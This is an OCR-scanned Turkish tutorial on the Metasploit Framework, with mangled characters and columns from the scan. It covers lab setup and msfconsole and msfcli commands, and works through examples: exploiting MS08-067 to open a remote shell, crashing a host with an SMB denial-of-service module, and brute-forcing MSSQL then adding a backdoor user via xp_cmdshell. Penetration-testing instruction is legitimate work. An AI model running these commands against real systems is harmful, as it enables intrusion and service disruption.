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Metasploit Framework

Metasploit Framework giivenlik agiklarini bulmak ve bu agiklar dogrultusunda ne gibi sonuglarin orataya
cikabilecegini gostermek i¢in kullanilan agik kaynak kodlu giivenlik programidir. Ayni zamanda biinyesinde
anti-forensic ve atlatma teknikleri uygulamalarini da barmndirir.

Metasploit 2003 yilinda HD Moore tarafindan Perl dili ile bir network oyunu olarak programlandi. Daha sonra
Ruby dili ile bastan itibaren tekrar yazildi. Giivenlik diinyasina sunulmasinin ardindan en ¢ok goze ¢arpan
ozellik, herkes tarafindan bilinen giivenlik agiklari igin 6zel exploitler bulundurmasi olmustur. Bununla beraber,
giivenlik aragtirmacilari igin yeni giivenlik agiklarini bulmakta giiclii bir yazilim olarak kullanilmaktadir. 21
Ekim 2009 tarihinde Metasploit projesinin Rapid7 biinyesine katildig: bildirildi.

Gerekli Materyaller

Onemli exploitlerin ilk hedefinin Windows oldugu goz éniinde bulundurularak, Metasploit kullanin esnasinda
hedef olucak sistemler sanal makinalar {izerinde ¢alistirilmalidir. Performans gz dniinde bulunduruldugunda
Sun Virtual Box yada Vmware Workstation (Player-Converter) tercih edilebilir.

Donanim Gereksinimleri

Metasploit programimin kurulumunu yapmadan dnce gerekli donanima sahip olundugu bilinmelidir. Tavsiye
edilenden daha diisiik donanim kullanimi performansin kétii yonde etkilenmesine sebep olabilir.

Sabit Disk

Metasploit kurulum ve kullanim siirecinde gerekli olan en diisiik sabit disk boyutu 20 gigabyte, 6nerilen 40
gigabyte olmalidir. Bu boyutlar sebebiyle FAT32 yerine NTFS veya ext3 gibi dosya sistem tipleri segilmelidir.

Hafiza (RAM)

Metasploit kurulum ve kullanim siirecinde gerekli olan en diisiik ve 6nerilen hafiza boyutlar1 asagidaki gibidir :
e Linux "HOST", en diisiik hafiza gereksinimi 1GB, dnerilen 2GB veya daha fazla
o  Windows "GUEST", en diisiik hafiza gereksinimi 256 MB, 6nerilen 1GB veya daha fazla
e Backtrack "GUEST", en diisiik hafiza gereksinimi 512 MB, 6nerilen 1GB veya daha fazla

islemci

Kullanim esnasinda Vmware Player {izerinde ¢alisacak sanal makinanin iglemci hiz1 en diisitk 400 MHz, 6nerilen
500 MHz olarak secilmelidir.
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Ubuntu

I1k hedef olarak Microsoft Windows belirtilmesine ragmen, acikliklar1 bulunan Ubuntu isletim sistemine sahip
bir bilgisayar kurulmalidir.
Baglangig olarak, Ubuntu 7.04 Server isletim sistemine sahip x86 sanal makinasi tercih edilmelidir.

Windows XP SP2 Kurulum Sonrasi

Bu boéliim igerisinde, giivenlik agikliklar1 bulunacak olan Windows XP SP2 igletim sistemi sahibi sanal
makinanin kurulum sonrasi sahip olmasi gereken &zellikleri anlatilmaktadir.

Yamalarin Kaldirilmasi

Bu bdliimde sanal makina lizerindeki yamalarin kaldirilmast adim adim anlatilmaktadir :

1. Denetim Masasi

2. Windows Firewall : OFF

3. Otomatik Giincellemeler : Kapali

4. Givenlik Merkezi : Uyar tercihlerinin degigimi, sol tarafta bulunan biitiin tecihlerin secimleri
kaldirilmalhidir.
Program Ekle — Kaldir : Giincellemeleri goster, yiiklenilen biitlin giincellemeleri gosterir.
Denetim Masasi, dosya secenekleri igerisinde “Goriintiileme” tercihinin altinda en altta bulunan “Basit
Dosya Paylasimini Kullan” yanindaki segenegi kaldirilmali ve Tamama basilmalidir.

7. Biitlin yamalarmn kaldirilmasi ve yeniden baslatma i¢in, komut satirindan asagidaki komut girilmelidir :
C:\>dir /a /b c:\windows\$ntuninstallkb* > kbs.txt && for /f %i in (kbs.txt) do cd
c:\windows\%$i\spuninst && spuninst.exe /passive /norestart && ping -n 15 localhost >
nul

8. VM yeniden baslatilarak kaldirilma islemi tamamlanir.

o

Eklenecek Servisler

Olusturulan sanal makina tizerinde farkl testler gerceklestirmek amaciyla agsagida belirtilen servisler
eklenmelidir :

e Internet Information Services (11S)
e  Simple Network Management Protocol (SNMP)
e  SQL Server 2005 Express

MSF ile Etkilesim

Metasploit Frameworkiin kullanilabilmesi i¢in bir¢ok arayiiz vardir. Her arayiiziin kendisine ait giiclii ve zayif
yanlari olmakla beraber, MSF 6zelliklerinin ¢oguna erisilebilen konsol arayiizii en ¢ok tercih edilendir.
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msfconsole

7] @ root@bt4: /pentest/exploits/framework3 - Shell - Kc™® & ®

Session Edit View Bookmarks Settings Help

root@bt4: # ./msfconsole

[ msf v3.3-dev
[ 396 exploits - 239 payloads
[ 20 encoders - 7 nops

181 aux

|| @ shell |

Msfconsole en ¢ok tercih edilen ve MSF igeriklerinin hepsini bir araya toplayan bir arayiizdiir.
Yararlari

e Metasploit iceriklerinin ¢oguna erigsim saglar.

e Konsol bazlidr.

e Cogu icerige sahiptir ve en stabil ortamdir.

e  Tab tusu kontrolii, komut tamamlama ve satir okuma &zelliklerine sahiptir.
e  MSF dis1 sistem komutlarin1 kullanma imkani saglar.

msf > ping -c 192.168.1.
[*] exec: ping -c 1 192.168.1.1

PING 192.168.1.2 (192.168.1.1) 56(84) bytes of data.
64 bytes from 192.168.1.2: icmp seg=1 ttl=128 time=10.3 ms

---192.168.1.1 ping statistics ---
1 packets transmitted, 1 received, 0% packet loss, time Oms

rtt min/avg/max/mdev = 10.308/10.308/10.308/0.000 ms
msf >

Yardim Alma

Msdf komut istemcisi icerisinde “help” veya “?” yazarak komutlar hakkinda detayli yardim alinabilir.
msf > help

Core Commands
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? Help menu

back Move back from the current context

banner Display an awesome metasploit banner

cd Change the current working directory
connect Communicate with a host

exit Exit the console

help Help menu

info Displays information about one or more module
irb Drop into irb scripting mode

jobs Displays and manages Jjobs

load Load a framework plugin

loadpath Searches for and loads modules from a path
quit Exit the console

resource Run the commands stored in a file

Tab Tusu Tamamlama

Linux isletim sistemlerinin en biiyiik 6zelliklerinden biri olan Tab tusu ile komut tamamlama, msfconsole ile
kullanilabilir. Yazilan komutun durumuna gore msfconsole olasiliklar gosterir.

msf > use exploit/windows/smb/ms

use exploit/windows/smb/ms03_ 049 netapi

use exploit/windows/smb/ms04_ 007 killbill
use exploit/windows/smb/ms04 011 lsass

use exploit/windows/smb/ms04 031 netdde

use exploit/windows/smb/ms05 039 pnp

use exploit/windows/smb/ms06 025 rasmans_reg
use exploit/windows/smb/ms06 025 rras

use exploit/windows/smb/ms06 040 netapi

use exploit/windows/smb/ms06 066 nwapi

use exploit/windows/smb/ms06 066 nwwks

use exploit/windows/smb/ms08 067 netapi

use exploit/windows/smb/msdns_zonename

msf > use exploit/windows/smb/ms08 067 netapi

"show" Komutu

Metasploit igerisinde “show” komutu kullanarak her modiil hakkinda bilgi alinabilir.
&f > S‘:\lOV\I

Encoders
Name Description
cmd/generic_sh Generic Shell Variable Substitution Command Encoder
generic/none The "none" Encoder
mipsbe/longxor XOR Encoder

v <

Birgok “show” komutu bulunmasina ragmen en ¢ok kullanilanlar “show auxiliary”, “show exploits” ve “show
payloads” olarak belirtilebilir.

“show auxiliary” komutu vasitasiyla Metasploit modiilleri igerisinde kullanilabilecek olan auxiliary yapilari
goriilebilir. Auxiliary modiilleri tarayicilar, DoS, fuzzers vb. icerikleri barindirir.
msf > show auxiliary

Auxiliary

Name Description

admin/backupexec/dump Veritas Backup Exec Windows Remote File
Access

admin/backupexec/registry Veritas Backup Exec Server Registry Access

admin/cisco/ios_http auth bypass Cisco IOS HTTP Unauthorized Administrative
Access
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Msfhnin ortaya g¢ikisindan itibaren en ¢ok kullanilan komut “show exploit” olmustur. MSF tamamen exploit

islemine dayanir.

msf > show exploits

Exploits

aix/rpc ttdbserverd realpath
_tt internal realpath Buffer Overflow
bsdi/softcart/mercantec _softcart

Description

ToolTalk rpc.ttdbserverd

Mercantec SoftCart CGI Overflow

“show payloads” komutu vasitasiyla Metasploit dahilinde bulunan biitiin platformlara ait payload se¢enekleri

goriilebilir.

msf > show payloads

Payloads
Name Description
aix/ppc/shell bind tcp AIX Command Shell, Bind TCP Inline
aix/ppc/shell find port AIX Command Shell, Find Port Inline
aix/ppc/shell reverse tcp AIX Command Shell, Reverse TCP Inline

Goriildiigi gibi bir¢ok payload bulunmaktadir. Metasploit, igerisinde bulunan sartlar ve ¢evreye duyarl olarak,
ilgili payloadlar dondiiriir. Windows modiilleri icerisindeyken, Linux payloadlar1 gésterilmez..

msf exploit(ms08 067 netapi) > show payloads

Compatible payloads

Name

generic/debug_trap

generic/debug trap/bind ipvé tcp
(IPV6)

generic/debug trap/bind nonx tcp
(No NX or Win7)

Description

Generic x86 Debug Trap
Generic x86 Debug Trap, Bind TCP Stager

Generic x86 Debug Trap, Bind TCP Stager
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Eger 6zel bir modiil se¢ilmigse, “show options” komutu ile gegerli/gerekli secenekler goriilebilir.

msf exploit(ms08 067 netapi) > show options

Module options:

Name Current Setting Required Description

RHOST yes The target address

RPORT 445 yes Set the SMB service port

SMBPIPE BROWSER yes The pipe name to use (BROWSER, SRVSVC)

Exploit target:
Id Name

0 Automatic Targeting

Eger kullanilmasi istenilen exploitin hangi isletim sistemleri {izerinde etkili oldugu bilinmiyorsa “show targets”
komutu vasistasiyla, icerisinde bulunan herhangi bir modiiliin etkili oldugu hedefler gosterilir.

msf exploit(ms08 067 netapi) > show targets

Exploit targets:

Id Name

0 Automatic Targeting

1 Windows 2000 Universal

2 Windows XP SP0/SP1 Universal
3 Windows XP SP2 English (NX)
4 Windows XP SP3 English (NX)
5 Windows 2003 SPO Universal

Eger herhangi bir exploit lizerinde ince ayar yapilmak istenirse, “show advanced” komutu vasitasiyla gelismis
secenekler goriilebilir.

msf exploit (ms08 067 netapi) > show advanced

Module advanced options:

Name : CHOST

Current Setting:

Description : The local client address
Name : CPORT

Current Setting:

Description : The local client port

"search”" Komutu

msfconsole genisletilmis regular expression kullanimina sahiptir. Aranilacak konu belli ise, “search” komutu
vasitasiyla arama yapilabilir.

Unutmayin: msf modiilleri “-“ isareti degil “_” isareti kullanir.

msf > search ms09-001
[*] Searching loaded modules for pattern 'ms09-001"'...

Auxiliary

Name Description

dos/windows/smb/ms09 001 write Microsoft SRV.SYS WriteAndX Invalid DataOffset
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"info" Komutu

Herhangi bir modiil igerisinde detayli bilgi almak amaciyla “info” komutu kullanilabilir.

msf > info dos/windows/smb/ms09 001 write

Name: Microsoft SRV.SYS WriteAndX Invalid DataOffset
Version: 6890
License: Metasploit Framework License (BSD)

Provided by:
j.v.vallejo

"use" Komutu

Ozel bir modiil ¢alistirilmak istenildiginde “use” komutu kullanilabilir.
msf > use dos/windows/smb/ms09 001 write
msf auxiliary(ms09 001 write) > show options

Module options:

Name Current Setting Required Description
RHOST yes The target address
RPORT 445 yes Set the SMB service port

msf auxiliary(ms09 001 write) >

"connect”" Komutu

Uzakta bulunan herhangi bir hosta baglanmak i¢in, telnet veya netcat gibi,
ve port bilgileriyle beraber kullanilabilir.

msf > connect 192.168.1.1 23

[*] Connected to 192.168.1.1:23
Yyyyyy'!yoaya

DD-WRT v24 std (c) 2008 NewMedia-NET GmbH
Release: 07/27/08 (SVN revision: 10011)

y
DD-WRT login:

"set" Komutu

“connect” komutu uzaktaki hostun IP

Calisma esnasinda kullanilan modiile ait 6zellikleri konfigiire etmek i¢in “set” komutu kullanilir.

msf auxiliary(ms09 001 write) > set RHOST 192.168.1.1
RHOST => 192.168.1.1
msf auxiliary(ms09 001 write) > show options

Module options:

Name Current Setting Required Description
RHOST 192.168.1.1 yes The target address
RPORT 445 yes Set the SMB service port
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Global Degiskenleri Tanimlama

Msfconsole kullanim esnasinda, bir¢ok kez hedefe ait bilgileri girmek yerine bir seferde global degisken
belirleyerek siirekli olarak kullanima sunulabilir. Bu sekilde, bir sonraki agilista hedef bilgileriniz
degismeyecektir. Biiyiik harflerle yazilan segeneklere(6r: LHOST) ait 6zellikleri belirlemek i¢in “setg” komutu,
iptal etmek i¢in “unsetg” komutu kullanilabilir.

msf > setg LHOST 192.168.1.101
LHOST => 192.168.1.101

msf > setg RHOSTS 192.168.1.0/24

RHOSTS => 192.168.1.0/24

msf > setg RHOST 192.168.1.136

RHOST => 192.168.1.136

msf > save

Saved configuration to: /root/.msf3/config
msf >

"exploit/run” Komutlari

Auxiliary modda ¢alisirken, exploitleri aktif hale getirmek igin “exploit” komutu kullanmak yerine, kullanim1
daha dogru olan “run” komutu kullanilabilir.

msf auxiliary(ms09 001 write) > run

Attempting to crash the remote host...
datalenlow=65535 dataoffset=65535 fillersize=72
rescue

datalenlow=55535 dataoffset=65535 fillersize=72
rescue

datalenlow=45535 dataoffset=65535 fillersize=72
rescue

datalenlow=35535 dataoffset=65535 fillersize=72
rescue

datalenlow=25535 dataoffset=65535 fillersize=72
rescue

"back” Komutu

Ozel bir modiil igerisinde ¢aligirken geri gelmek icin yada yanlishik girilen bir modiilii iptal etmek icin “back”
komutu kullanilabilir. Bununla beraber, msfconsole tipki switch veya router isletim sistemleri gibi modiiller arasi

dolasima izin verir.
msf auxiliary(ms09 001 write) > back
msf >

"resource”" Komutu

Karmetasploit gibi bazi saldir1 tiirlerinde kaynak dosyasi kullanimi gerekmektedir. Kaynak dosyay1 belirtmek
amaciyla “resource” komutu kullanilabilir.

msf > resource karma.rc
resource> load db sglite3
[-1]

-] The functionality previously provided by this plugin has been

-] integrated into the core command set. Use the new 'db driver'

-] command to use a database driver other than sglite3 (which

-] is now the default). All of the old commands are the same.

-1

-] Failed to load plugin from /pentest/exploits/framework3/plugins/db sqglite3: Deprecated
lugin

resource> db create /root/karma.db

] The specified database already exists, connecting

] Successfully connected to the database

] File: /root/karma.db

[
[
[
[
[
[
P

[*
[*
[*
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resource> use auxiliary/server/browser autopwn
resource> setg AUTOPWN HOST 10.0.0.1
AUTOPWN HOST => 10.0.0.1

"irb" Komutu

“irb” komutu kullanarak konsoldan ruby shell yapisina gegcis yapilabilir.
msf > irb
[*] Starting IRB shell...

>> puts "Hello, metasploit!"
Hello, metasploit!

msfcli

Msfcli frameworkle ¢aligmak igin giiclii bir komut istemci olarak kullanilabilir.

Ll 5] root@bt4: /pentest/exploits/framework3 - Shell - Konsole <3>
Session Edit View Bookmarks Settings Help

ro 4: # ./msfcli -h
Usage: ./msfcli <expleoit name> <opption=value= [mode]

(Hlelp You're looking at it baby!

(S)ummary Show information about-this module

(0)ptions Show available options for this module

(A)dvanced Show available advanced options for this module
(I)D5 Evasion Show awvailable ids ewasion options for this module
(Playloads Show available payloads for this module

(T)argets Show awailable targets for this expleit module
(AC)tions Show available actions for this auxiliary module
(Clheck Run the check routine of the selected module
(Elxecute Execute the selected module

1

& Shell

msfcli kullanilirken, degiskenleri atamak igin “=" isareti kullanilmalidir.

root@btd:/pentest/exploits/framework3# ./msfcli windows/smb/ms08 067 netapi
RHOST=192.168.1.115 PAYLOAD=windows/shell/bind tcp E

[*] Please wait while we load the module tree...

[*] Started bind handler

[*] Automatically detecting the target...

[*] Fingerprint: Windows XP Service Pack 2 - lang:English

[*] Selected Target: Windows XP SP2 English (NX)

[*] Triggering the vulnerability...

[*] Sending stage (474 bytes)

[*] Command shell session opened (192.168.1.101:54659 -> 192.168.1.115:4444)

Microsoft Windows XP [Version 5.1.2600]
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(C) Copyright 1985-2001 Microsoft Corp.

C:\WINDOWS\system32>
Kullandiginiz modiiliin segeneklerini gérmek igin satir sonuna “O” eklenmelidir.

root@bt4:/pentest/exploits/framework3# ./msfcli windows/smb/ms08 067 netapi O
[*] Please wait while we load the module tree...

Name Current Setting Required Description

RHOST yes The target address

RPORT 445 yes Set the SMB service port

SMBPIPE BROWSER yes The pipe name to use (BROWSER, SRVSVC)

Calisilan modiile ait payloadlar1 gérmek amaciyla satir sonuna “P” eklenmelidir.

root@bt4:/pentest/exploits/framework3# ./msfcli windows/smb/ms08 067 netapi
RHOST=192.168.1.115 P

[*] Please wait while we load the module tree...

Compatible payloads

Name Description
generic/debug_trap Generate a debug trap in the target
process

Bilgi Toplama

Basarili bir sizma testinin temelinde bilgi toplamak yatar. Bilgi toplama esnasinda elde edilen veriler vasitasiyla,
hedefler ilizerinde gerceklestirilecek olan saldirilar planlanir.

ol )] root@btd: /pentest/exploits/framework3 - Shell - Konsole =3=>
Session Edit View Bookmarks Settings Help

f auxiliary({version) = run

,_.
o
(]

.118 is running Unix Samba 2.2.33 (language: Unknown}
.114 is running Windows Vista Enterprise (Build &888) (languag
.186 is running Unix Samba 3.0.4 (language: Unknown)

o
[T =T
[ o

.105 is running Unix Samba 3.3.2 (language: Unknown)

.108 is running Unix Samba 2.2.5 (language: Unknown)

.117 is running Unix Samba 3.0.24 (language: Unknown)

.187 is running Unix Samba 2.2.7a (language: Unknown)

.111 is running Windows 2008 Service Pack 8 - 4 (language: Eng
.189 is running Windows XP Service Pack 2 (language: English)
Auxiliary module execution completed

auxiliary(version)

& Shell

O
[Ta BT R = T = R V]
[ LT L R oS

The Dradis Framework

Sizma testi gerceklestirirken, yalniz veya ekip calismasi sirasinda, elde edilen verilen paylasilmasi, son raporun
hazirlanmasi vb gibi islemler i¢in Dradis basarilt bir uygulamadir. Biitiin verileri bir noktada tutarak herkesin
erismesini saglar.
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Not tutma programindan daha fazlasi olarak, SSL {izerinden iletisim, Nmap ve Nessus raporlarimni kullanma,
dosya ekleme, rapor ekleme gibi 6zelliklere sahiptir.

root@bt4: apt-get install dradis

Yikleme bittikten sonra, dizine gegis yapilarak server galistirtlir.

root@btd: cd /pentest/misc/dradis/server
root@bt4: ruby ./script/server

=> Booting WEBrick...

=> Rails application started on https://localhost:3004

=> Ctrl-C to shutdown server; call with --help for options
[2009-08-29 13:40:50] INFO WEBrick 1.3.1

[2009-08-29 13:40:50] INFO ruby 1.8.7 (2008-08-11) [i486-1inux]
[2009-08-29 13:40:50] INFO

[2009-08-29 13:40:50] INFO WEBrick::HTTPServer#start: pid=8881 port=3004

Son olarak, web tarayici {izerinden IP ve port belirterek Dradise erisilir. Ip, localhost ve port 3004 olarak
ayarlanmalidir.

dradis v2.3.0 - Mozilla Firefox

File Edit Wiew History Bookmarks Tools Help

@ @] https:fflocalhost:3004/ j |v' 3,

dradis v2.3.0 (logout)

| import from fie... [} export

g add branch | &2 |5z =] || Find aMode

Maotes Impart note... Attachmerts

what's new in this version?

I.| Cone localhost:3004 =5 IEJr
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Port Scanning

Dradis ile veritabani olusturulmasina ragmeni tekrardan bir veritabani olusturmak iyi bir tekrar olacag gibi,
temiz bir saklama alani olusturacaktir.

msf > db_create

[*] Creating a new database instance...

[*] Successfully connected to the database
[*] File: /root/.msf3/sglite3.db

msf > load db tracker

[*] Successfully loaded plugin: db tracker
msf > help

Database Backend Commands

Command Description

db add host Add one or more hosts to the database

db add note Add a note to host

db add port Add a port to host

db autopwn Automatically exploit everything

db connect Connect to an existing database

db_create Create a brand new database

db_del host Delete one or more hosts from the database
db_del port Delete one port from the database
db_destroy Drop an existing database

db_disconnect Disconnect from the current database instance
db_driver Specify a database driver

db_hosts List all hosts in the database

db_import amap mlog Import a THC-Amap scan results file (-o -m)

db_import nessus _nbe Import a Nessus scan result file (NBE)
db_import nessus_xml Import a Nessus scan result file (NESSUS)

db_import nmap_ xml Import a Nmap scan results file (-o0X)
db_nmap Executes nmap and records the output automatically
db_notes List all notes in the database
db_services List all services in the database
db_vulns List all vulnerabilities in the database
msf >

‘db_nmap’ komutu ile istenilen hedeflere nmap ile tarama gergeklestirilir ve sonuglar veritabaninda saklanir.
Bununla birlikte, Metasploit sadece xml ¢iktis1 alir. Eger sonuglar Dradise aktarilmayacaksa su komutla tarama
yapilabilir.

'db_nmap -v -sV 192.168.1.0/24'.

msf > nmap -v -sV 192.168.1.0/24 -oA subnet 1
[*] exec: nmap -v -sV 192.168.1.0/24 -oA subnet 1

Starting Nmap 5.00 ( http://nmap.org ) at 2009-08-13 19:29 MDT
NSE: Loaded 3 scripts for scanning.

Initiating ARP Ping Scan at 19:29

Scanning 101 hosts [l port/host]

Nmap done: 256 IP addresses (16 hosts up) scanned in 499.41 seconds
Raw packets sent: 19973 (877.822KB) | Rcvd: 15125 (609.512KB)

Tarama bittikten sonra agagidaki komutla tarama sonucu veritabanina aktarilabilir
msf > db_import nmap xml subnet 1.xml
Sonuglar ‘db_hosts’ ve ‘db_services’ komutlari ile goriilebilir.

msf > db hosts

Time: Thu Aug 13 19:39:05 -0600 2009 Host: 192.168.
Time: Thu Aug 13 19:39:05 -0600 2009 Host: 192.168.
Time: Thu Aug 13 19:39:05 -0600 2009 Host: 192.168.
Time: Thu Aug 13 19:39:05 -0600 2009 Host: 192.168.

.1 Status: alive O0OS:
.2 Status: alive 0OS:
.10 Status: alive O0OS:
.100 Status: alive 0OS:

* % ok

msf > db services
[*] Time: Thu Aug 13 19:39:05 -0600 2009 Service: host=192.168.1.1 port=22 proto=tcp state=up
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name=ssh

[*] Time: Thu Aug 13 19:39:05 -0600 2009 Service: host=192.168.1.1 port=23 proto=tcp state=up
name=telnet

[*] Time: Thu Aug 13 19:39:05 -0600 2009 Service: host=192.168.1.1 port=80 proto=tcp state=up
name=http

[*] Time: Thu Aug 13 19:39:05 -0600 2009 Service: host=192.168.1.2 port=23 proto=tcp state=up
name=telnet

Scanner ve Auxiliary Modiilleri

Scannerler ve auxiliary modiilleri RHOST yerine RHOSTS kullanir. RHOSTS IP araliklari, CIDR ipleri vb gibi
birgok IP aralik degerlerini taramak i¢in kullanilir.

Ayn1 zamanda tarama esnasinda THREADS diye adlandirilan ve tarama esnasinda ayn1 anda kag tarama
yapilacagi bilgisi girilmelidir. Varsayilan olarak bu deger “1” olarak atanir. Windows, unix gibi sistemlerde
degerler asagidaki gibi olmalidir:

e Windows sistemlerde 16 nin altinda tutulmalidir
e  MSF yi Cygwin altinda c¢aligtirirken 200 ve altinda tutulmalidir
e Unix-like igletim sistemlerinde 256 olarak atanabilir

Port Scanning

MSF igerisinde Nmap disinda bir¢ok tarama programi bulunmaktadir. Asagida hangi tarama programlarinin nasil
bulunacagi gosterilmektedir.

msf > search portscan
[*] Searching loaded modules for pattern 'portscan'...

Auxiliary
Name Description
scanner/portscan/ack TCP ACK Firewall Scanner
scanner/portscan/ftpbounce FTP Bounce Port Scanner
scanner/portscan/syn TCP SYN Port Scanner
scanner/portscan/tcp TCP Port Scanner
scanner/portscan/xmas TCP "XMas" Port Scanner

SMB Version Scanning

Network iizerinde hangi hostlarin canli oldugunu 6grendikten sonra hangi isletim sistemlerinin ¢alistigi bu
tarayici vasitasiyla bulunabilir.

445, portu agik olan sistemlerde hangi Windows ve Linux isletim sistemlerinin bulundugu bu tarayici vasitasiyla
bulunabilir.

msf > use scanner/smb/version

msf auxiliary(version) > set RHOSTS 192.168.1.0/24
RHOSTS => 192.168.1.0/24

msf auxiliary(version) > set THREADS 50

THREADS => 50

msf auxiliary(version) > run

[*] 192.168.1.100 is running Windows 7 Enterprise (Build 7600) (language: Unknown)
[*] 192.168.1.116 is running Unix Samba 3.0.22 (language: Unknown)

[*] 192.168.1.121 is running Windows 7 Ultimate (Build 7100) (language: Unknown)
[*] 192.168.1.151 is running Windows 2003 R2 Service Pack 2 (language: Unknown)
[*] 192.168.1.111 is running Windows XP Service Pack 3 (language: English)

[*] 192.168.1.114 is running Windows XP Service Pack 2 (language: English)

[*] 192.168.1.124 is running Windows XP Service Pack 3 (language: English)

[*]

Auxiliary module execution completed
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ayrica db_hosts komutu kullanilarak yeni edinilen bilgiler veritabanina kaydedilir.

msf auxiliary(version) > db hosts

[*] Time: Thu Aug 13 19:39:05 -0600 2009 Host: 192.168.
[*] Time: Thu Aug 13 19:39:05 -0600 2009 Host: 192.168.
[*] Time: Thu Aug 13 19:39:05 -0600 2009 Host: 192.168.
[*] Time: Thu Aug 13 19:39:05 -0600 2009 Host: 192.168.
7 Enterprise

[*] Time: Thu Aug 13 19:39:06 -0600 2009 Host: 192.168.1.104 Status: alive 0S:

[*] Time: Thu Aug 13 19:39:06 -0600 2009 Host: 192.168.1.109 Status: alive 0S:

[*] Time: Thu Aug 13 19:39:06 -0600 2009 Host: 192.168.1.111 Status: alive 0S: Windows Windows
XP

[*] Time: Thu Aug 13 19:39:06 -0600 2009 Host: 192.168.1.114 Status: alive 0S: Windows Windows
XP

[*] Time: Thu Aug 13 19:39:06 -0600 2009 Host: 192.168.1.116 Status: alive 0OS: Unknown Unix
[*] Time: Thu Aug 13 19:39:06 -0600 2009 Host: 192.168.1.121 Status: alive 0S: Windows Windows
7 Ultimate

[*] Time: Thu Aug 13 19:39:06 -0600 2009 Host: 192.168.1.123 Status: alive 0OS:

[*] Time: Thu Aug 13 19:39:06 -0600 2009 Host: 192.168.1.124 Status: alive 0S: Windows Windows
XP

[*] Time: Thu Aug 13 19:39:06 -0600 2009 Host: 192.168.1.137 Status: alive 0OS:

[*] Time: Thu Aug 13 19:39:06 -0600 2009 Host: 192.168.1.150 Status: alive O0OS:

[*] Time: Thu Aug 13 19:39:06 -0600 2009 Host: 192.168.1.151 Status: alive 0S: Windows Windows
2003 R2

MSSQL Avlamak

.1 Status: alive 0S:
.2 Status: alive 0S:
.10 Status: alive OS:
.100 Status: alive 0S: Windows Windows

I¢ s1izma testlerinde kullanilmasi mutlak olan bir yontem MSSQL serverlar i¢in UDP taramasi yapilmasidir.
MSSQL yiiklendiginde TCP 1433 veya rastgele dinamik TCP port atar.. Eger rastgele atanirsa, saldirganin isi
biraz daha zorlasacaktir. Bunun yerine Microsoft UDP 1433 nolu portu agarak, hangi TCP portu kullanildig:
dahil diger bilgilere de erisilebilir.

msf > search mssqgl
[*] Searching loaded modules for pattern 'mssqgl'...

Exploits

Name Description

windows/mssql/lyris_ listmanager weak pass Lyris ListManager MSDE Weak sa Password

windows/mssql/ms02_039_ slammer Microsoft SQL Server Resolution Overflow

windows/mssql/ms02_056_hello Microsoft SQL Server Hello Overflow

windows/mssql/mssql payload Microsoft SQL Server Payload Execution
Auxiliary

Name Description

admin/mssqgl/mssgl_enum Microsoft SQL Server Configuration Enumerator

admin/mssqgl/mssql_exec Microsoft SQL Server xp cmdshell Command Execution

admin/mssql/mssql sql Microsoft SQL Server Generic Query

scanner/mssqgl/mssqgl login MSSQL Login Utility
scanner/mssqgl/mssqgl ping MSSQL Ping Utility

msf > use scanner/mssql/mssql ping
msf auxiliary(mssgl ping) > show options

Module options:

Name Current Setting Required Description
RHOSTS yes The target address range or CIDR identifier
THREADS 1 yes The number of concurrent threads

msf auxiliary(mssgl ping) > set RHOSTS 10.211.55.1/24
RHOSTS => 10.211.55.1/24
msf auxiliary(mssgl ping) > exploit

[*] SQL Server information for 10.211.55.128:
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[*] tcp = 1433

[*] np = SSHACKTHISBOX-Opipesqglquery

[*] Version = 8.00.194

[*] InstanceName = MSSQLSERVER

[*] IsClustered = No

[*] ServerName = SSHACKTHISBOX-0

[*] Auxiliary module execution completed

Oncelikle ilgili mssql pluginleri aranmahdir. Daha sonrasinda 'use scanner/mssql/mssql_ping' komutu ile tarayici

‘run’ komutu ile tarama programi ¢alistirihir ve MSSQL server hakkinda bilgiler edinilir. Bu noktadan sonar
‘scanner/mssql/mssql_login' modiilii ile bruteforce saldirisi vasitasiyla login denemeleri yapilir.. alternative
olarak, fasttrack, hydra kullanilabilir. Sifre ele gegirildikten sonar xp cmdshell modiilii ile baglant1 kurulur.

> use admin/mssgl/mssgl exec
> show options

msf auxiliary(mssgl login)
msf auxiliary(mssgl exec)

Module options:

Name Current Setting Required

CMD cmd.exe /c echo OWNED > C:\owned.exe no
execute

HEX2BINARY /pentest/exploits/framework3/data/exploits/mssqgl/h2b no

hex2binary script on the disk

MSSQL_PASS no
for the specified username

MSSQL_USER sa no
authenticate as

RHOST yes
address

RPORT 1433 yes

msf auxiliary(mssgl exec) > set RHOST 10.211.55.128

RHOST => 10.211.55.128

msf auxiliary(mssgl exec) > set MSSQL PASS password

MSSQL_ PASS => password

msf auxiliary(mssgl exec) > set CMD net user rellk ihazpassword /ADD
cmd => net user rellk ihazpassword /ADD

msf auxiliary(mssgl exec) > exploit

The command completed successfully.

[*] Auxiliary module execution completed

Servis Belirleme

Nmap disinda kullanilabilecek olan Metasploite 6zgii birgok tarama programi bulunur.

~

msf auxiliary(tcp) > search auxiliary “scanner
[*] Searching loaded modules for pattern '“scanner'...

Auxiliary

Description

Name

Description
Command to

The path to the
The password
The username to

The target

The target port

scanner/db2/discovery
scanner/dcerpc/endpoint mapper
scanner/dcerpc/hidden
scanner/dcerpc/management
scanner/dcerpc/tcp dcerpc_auditor
scanner/dect/call scanner
scanner/dect/station_scanner
scanner/discovery/arp sweep
scanner/discovery/sweep udp
scanner/emc/alphastor devicemanager

DB2 Discovery Service Detection.
Endpoint Mapper Service Discovery
Hidden DCERPC Service Discovery
Remote Management Interface Discovery
DCERPC TCP Service Auditor

DECT Call Scanner

DECT Base Station Scanner

ARP Sweep Local Network Discovery

UDP Service Sweeper

EMC AlphaStor Device Manager Service.
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scanner/emc/alphastor librarymanager

scanner/ftp/anonymous
scanner/http/frontpage
scanner/http/frontpage login
scanner/http/lucky punch
ection

scanner/http/ms09 020 webdav unicode bypass

scanner/http/options
scanner/http/version

scanner/ip/ipidseq
scanner/misc/ib_service mgr info
scanner/motorola/timbuktu_udp
scanner/mssql/mssql login
scanner/mssql/mssql ping
scanner/mysqgl/version
scanner/nfs/nfsmount
scanner/oracle/emc_sid

covery
scanner/oracle/sid enum
scanner/oracle/spy sid

Enumeration.

scanner/oracle/tnslsnr version
scanner/oracle/xdb sid

scanner/sip/enumerator
scanner/sip/options
scanner/smb/login
scanner/smb/pipe auditor
scanner/smb/pipe dcerpc_auditor
scanner/smb/smb2
scanner/smb/version
scanner/smtp/smtp banner
scanner/snmp/aix version
scanner/snmp/community
scanner/ssh/ssh_version
scanner/telephony/wardial
scanner/tftp/tftpbrute
scanner/vnc/vnc_none_auth
scanner/x11/open x11

EMC AlphaStor Library Manager Service.
Anonymous FTP Access Detection

